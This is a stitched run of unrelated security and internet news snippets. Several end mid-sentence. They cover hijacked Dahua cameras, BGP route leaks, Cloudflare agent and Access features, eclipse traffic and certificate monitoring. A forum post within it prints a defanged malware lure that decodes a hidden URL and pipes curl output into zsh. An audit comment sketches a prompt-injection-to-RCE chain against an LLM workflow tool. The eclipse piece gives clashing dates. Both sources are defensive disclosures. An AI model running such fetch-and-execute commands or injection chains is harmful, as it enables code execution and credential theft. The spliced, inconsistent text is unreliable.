A single operator compromised more than 14,000 internet-connected Dahua cameras over roughly five weeks, with confirmed compromises concentrated in Ukraine and Russia. The operator exposed their own working directory on an open HTTP server, which let [Hunt.io](http://Hunt.io) researchers reconstruct the operation from the inside, tools, target lists, and running logs. Notable points: * 1,923 cameras carry a persistent backdoor account that survives a password change and most factory resets * Most cameras were reached through Dahua's cloud relay using only the serial number, opening a channel without an auth check in most cases * Root-cause CVEs patched since October 2021; Dahua confirmed firmware updates also block the offline recovery-code technique the operator used * A separate Windows stealer was staged on the same host, treated as an unrelated capability * No attribution to any government or named group Full report: [hunt.io/blog/operation-cameraswarm-dahua-cameras-compromised](http://hunt.io/blog/operation-cameraswarm-dahua-cameras-compromised)

Route leaks push traffic down paths it was never meant to take. We have written and spoken publicly in the past about route leaks in Border Gateway Protocol (BGP) , depicting these events as impactful incidents that cause misdirection of traffic through unintended network paths. BGP routing is driven by the relationships between Autonomous Systems (ASes), i.e., customer-provider and peer-peer. Customers pay providers for access to the rest of the Internet, while peers exchange traffic with one another typically under a “settlement-free” arrangement where no money changes hands. These relationships help define routing rules that form plausible paths. For example, the rules form a “valley-free” hierarchy of how routes should propagate: a route learned from a provider or a peer should be announced only downward to customers, never back up to another provider or peer. Rules like this express an intent or expectation about Internet routes. A route leak is what happens when that intent is violated. Historically, each network has had to implement this intent on its own, using complex, error-prone routing policies

Author here. I audited NocoBase, Flowise, Langflow, Dify, Activepieces, Kestra, and Airflow and disclosed 14 findings. Every platform inherited the same assumption anyone who can touch a workflow is trusted to run code on the host, which is fine for a dev tool on your laptop but not fine for a multi-tenant HTTP service with an unauthenticated webhook. The chain I'd point people to first is the Flowise one (section 2.2): an unauthenticated request → prompt injection → LLM emits Python → a 38-pattern regex blocklist passes it because the dangerous library was pre-imported before the model was asked anything → RCE. Two vendors closed their reports as working-as-intended, and I tried to represent their position fairly. This research was also presented at DEFCON 34 but now available publicly.

Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex. A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64. https://preview.redd.it/v31atwx50xjh1.png?width=1108&format=png&auto=webp&s=6cb2d317c7fd455e75c67cec9e33085cf3a888c9 **Defanged example, do not execute:** echo "npm install -g u/openai/codex https://openai.com/codex/" && curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh The Base64 value decoded to: hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json The interesting part is the delivery pattern: Sponsored search result ↓ Fake Codex installation page ↓ Legitimate-looking OpenAI text printed with echo ↓ Base64-obfuscated unrelated domain ↓ curl response piped directly into zsh I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence. The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to: /opt/homebrew/Caskroom/codex/0.147.0/bin/codex The binary is signed: Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2) So the malicious component appears to be specifically the separately downloaded `quill-flint[.]com` shell payload. Has anyone tracking current macOS malware seen: quill-flint[.]com /curl/<id>/<id>.json or this exact Codex-themed lure? I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain. I can provide more sanitized timestamps and filesystem observations if useful for analysis.

Most companies designed their resource permissions with a human user in mind. A senior engineer may be able to deploy to production, query a sensitive database, or revoke another user's access. Those privileges come with risk, but that risk has traditionally been bounded by two assumptions: the engineer will use human judgment, and the engineer can only act at human speed. An engineer who sees an unexpected result will usually stop and reconsider their actions. Any human being can only click, type, and review so much in a single day. The introduction of AI agents changes both thresholds. Their decisions are nondeterministic, and they can take the same action (or invoke the same tool) indefinitely, without getting tired or stopping for lunch. A plausible — but incorrect — decision can become thousands of incorrect actions before a human notices. Today, we're announcing new Cloudflare One capabilities to identify inspected MCP traffic, show which users and servers are generating it, and control direct connections on managed network paths. Combined with MCP Server Portals , these controls help administrators see whether agents are using an approved path, or somehow bypassing it. Model Context Protocol (MCP) servers give agents a common way to discover and invoke tools backed by third-party SaaS products, internal applications, and APIs. The underlying permissions are likely familiar; what changes is who makes each decision, and how quickly a bad decision can spread. Connecting an agent to one of these tools can take a single

AI has enabled employees across every team to build applications faster than ever before. But that speed is also what's keeping every CISO up at night: any employee can build an application, deploy it to the public Internet, and accidentally expose internal work or company data. Today, we're launching new tools to make it easy to keep your applications hosted on Workers private. You can now apply Cloudflare Access directly to a Worker or to every Worker in your account, so that your applications are behind your company login by default, without relying on each developer to set that up themselves. You can now: Set a policy at the account level to ensure that all preview and production deployments are behind your company login by default. Set a policy on a single application to ensure authentication is enforced on every domain associated with it, no matter how it's deployed. See exactly who visits your application. Get every authenticated user’s email, name, and groups directly in your code — no JWT (JSON Web Token) validation required. Deploy an internal platform where every deployment is private by default. We've open-sourced an example : an internal static site platform where every Worker deployed is private. Access on Workers: how it works When you enable Access on a Worker, Cloudflare enforces authentication before any request reaches your application code. It doesn't matter how the request gets to your Worker, whether it's through a custom domain, a route, a workers.dev subdomain, or a preview URL. If Access is on, the user h

It can be daunting to determine who’s responsible for showing ads on the websites we visit, or who’s harvesting data from the mobile apps we use every day.

At a time when looking down at our devices is a ritual in daily life, a natural phenomenon that demands our attention communally upward is a welcome event. On Wednesday, August 12, a total solar eclipse swept from the North Atlantic across Europe, moving over Iceland and northern Spain and Portugal, with a deep partial eclipse over the rest of Western Europe, all near local sunset. This was the first total solar eclipse to cross mainland Europe in twenty years, and it drew millions outdoors to witness the moon pass between Earth and the sun. As we saw during the 2026 World Cup and the last total eclipse in 2024 , online behavior is noticeably affected when an event at this scale takes place. In this blog post, we’ll use data from Cloudflare Radar to examine how Internet traffic shifted alongside the moon and the sun. Internet traffic dips align precisely with maximum obscuration In the figure above, we measured HTTP request volume in five-minute buckets across the affected countries on eclipse day, and compared it to a normal-day baseline. Each row is a country (except for Alaska) and each column is a five-minute slice of August 12, 2025, the day of the eclipse. The countries appear above in the order in which they saw the eclipse. The black diamonds mark the moment of maximum eclipse and the color shows the percent change in HTTP traffic versus the baseline (red = below normal, blue = above). We can see very clearly that the black diamonds overlay the darkest red, almost perfectly, signaling that as the eclipse deepened, Internet traffic decr

Since we launched Certificate Transparency Monitoring in public beta in 2019, we've been emailing subscribers whenever a new TLS certificate appears in a public Certificate Transparency (CT) log for one of their domains. Today, it's turned on for more than 650,000 customer domains. It's an early warning that someone, somewhere, has issued a certificate for a hostname in your zone, giving you a chance to spot a mis-issued certificate early. It's a useful signal, but it had a noise problem, and we felt it ourselves. Cloudflare issues a large volume of certificates on your behalf: Universal SSL renewals, certificates from Advanced Certificate Manager, and backup certificates. All of them are logged to public CT logs by design, because a certificate that isn't logged won't be trusted by major browsers like Google Chrome and Apple's Safari. So the same transparency that lets you monitor for mis-issuance also surfaces every certificate we issue for you. And issuance isn't a one-time event. Certificates are short-lived and renew automatically: a single Universal SSL certificate can renew as often as every 60 days , up to about six times a year. That cadence is set to increase, with the CA/Browser Forum having voted to cut the maximum certificate lifetime to 47 days by 2029, multiplying the routine renewals that fl
